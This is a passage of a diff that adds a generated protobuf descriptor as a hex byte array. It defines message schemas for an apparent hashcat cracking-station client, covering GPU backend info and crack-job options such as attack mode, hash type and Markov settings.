0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, + 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, + 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, + 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, + 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, + 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, + 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, + 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, + 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, + 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, + 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, + 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, + 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, + 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, + 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, + 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, + 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, + 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, + 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, + 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, + 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, + 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, + 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, + 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, + 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, + 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, + 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, + 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, + 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, + 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, + 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, + 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, + 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, + 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, + 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, + 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, + 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, + 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, + 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, + 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, + 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, + 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, + 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, + 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, + 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, + 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, + 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, + 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, + 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, + 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, + 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, + 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, + 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, + 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, + 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, + 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, + 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, + 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, + 0x74, 0x66, 0x69, 0x6c, 